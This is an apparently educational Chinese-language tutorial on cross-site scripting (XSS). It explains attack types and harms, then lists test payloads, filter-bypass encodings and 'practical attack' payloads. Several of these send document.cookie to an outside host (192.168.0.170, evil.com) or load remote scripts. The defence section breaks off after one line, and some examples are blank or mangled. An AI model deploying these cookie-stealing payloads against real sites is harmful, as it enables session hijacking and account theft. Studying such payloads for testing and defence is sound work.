一文详述XSS漏洞
字数 2133 2025-08-29 08:29:41
XSS漏洞全面解析与防御指南
一、XSS漏洞概述
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会在用户浏览器中执行。
1.1 XSS攻击原理
XSS攻击利用浏览器动态展示数据的功能,在HTML页面中嵌入恶意代码。当用户浏览该页时,这些潜入的恶意代码会被执行,攻击者从而可以控制用户浏览器。
1.2 XSS与CSS的区别
XSS是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
二、XSS攻击类型
2.1 反射型XSS(非持久型)
特点:
- 一次性攻击
- 恶意代码通常存在于URL中
- 需要诱使用户点击恶意链接
常见注入点:
- 网站搜索栏
- 用户登录入口
- 输入表单
示例:
">
2.2 存储型XSS(持久型)
特点:
- 恶意脚本永久存储在服务器
- 更具威胁性
- 隐蔽性强
常见注入点:
- 论坛、博客、留言板
- 网站评论、日志等交互处
示例:
2.3 DOM型XSS
特点:
- 基于文档对象模型(DOM)
- 不需要与服务器交互
- 完全在客户端处理
常见注入点:
- 通过JS脚本对文档对象进行编辑
- 修改页面元素的场景
示例:
三、XSS攻击危害
- 网络钓鱼,获取各类用户账号
- 窃取用户cookies资料
- 劫持用户会话,执行任意操作
- 强制弹出广告页面、刷流量
- 网页挂马
- 任意篡改页面信息、删除文章
- 进行大量客户端攻击如DDoS
- 获取客户端信息(浏览历史、真实IP等)
- 控制受害者机器向其他网站发起攻击
- 结合其他漏洞(如CSRF)实施进一步危害
- 提升用户权限,进一步渗透网站
- 传播跨站脚本蠕虫
四、XSS测试语句
4.1 基础测试语句
<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
4.2 常用标签测试
img标签:
<IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
a标签:
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>
<a href=""onclick=eval(alert('xss'))>aa</a>
input标签:
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
form标签:
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp?onmouseover=prompt('xss')>
iframe标签:
<iframe src=javascript:alert('xss');height=5width=1000/><iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
五、XSS绕过技术
5.1 常规绕过方法
- 大小写混写:
<ScRipt>ALeRt("XSS");sCRipT>
- 双写绕过:
<scscriptript>alert(1)</scriscriptpt>
- 嵌套绕过:
ript>alert(/xss/);script>alert(/xss/);script>
- 空字符绕过:
09ipt>ALeRt(/XSS/);sCRipT>
5.2 特殊字符限制绕过
- 限制"符号:
- 限制'符号:
- 限制()符号:
- 限制()'"符号:
5.3 编码绕过
- ASCII编码:
<script>alert(String.fromCharCode(88,83,83))</script>
- URL编码:
<a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
- 八进制编码:
<script>eval("\141\154\145\162\164\50\61\51");</script>
- 十六进制编码:
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
- JS Unicode编码:
<script>\u0061\u006c\u0065\u0072\u0074('xss');</script>
- HTML编码:
- Base64编码:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
六、XSS攻击实战
6.1 构造攻击Payload
- 基本攻击:
<a href="javascript:eval(document.location='http://192.168.0.170/?cookie='+document.cookie)">xss</a>
- 改进版攻击:
<a href="javascript: (function() {var i=new Image(); i.src='http://192.168.0.170/?cookie='+encodeURIComponent(document.cookie); window.location='http://example.com'})()">xss</a>
6.2 远程攻击Payload
- 引入外部JS文件:
<script src="http://www.evil.com/xss.js"></script>
<script src=//www.evil.com/xss.js></script>
- 创建恶意脚本文件(xss.js):
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
- 使用jQuery加载外部JS:
<script>$.getScript("//www.xsstools.com/xss.js");</script>
6.3 字符拼接加载外部JS
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
七、XSS防御措施
7.1 输入检查
- 检查特殊字符(<、>、'、"等)
- 检查XSS特征敏感字符(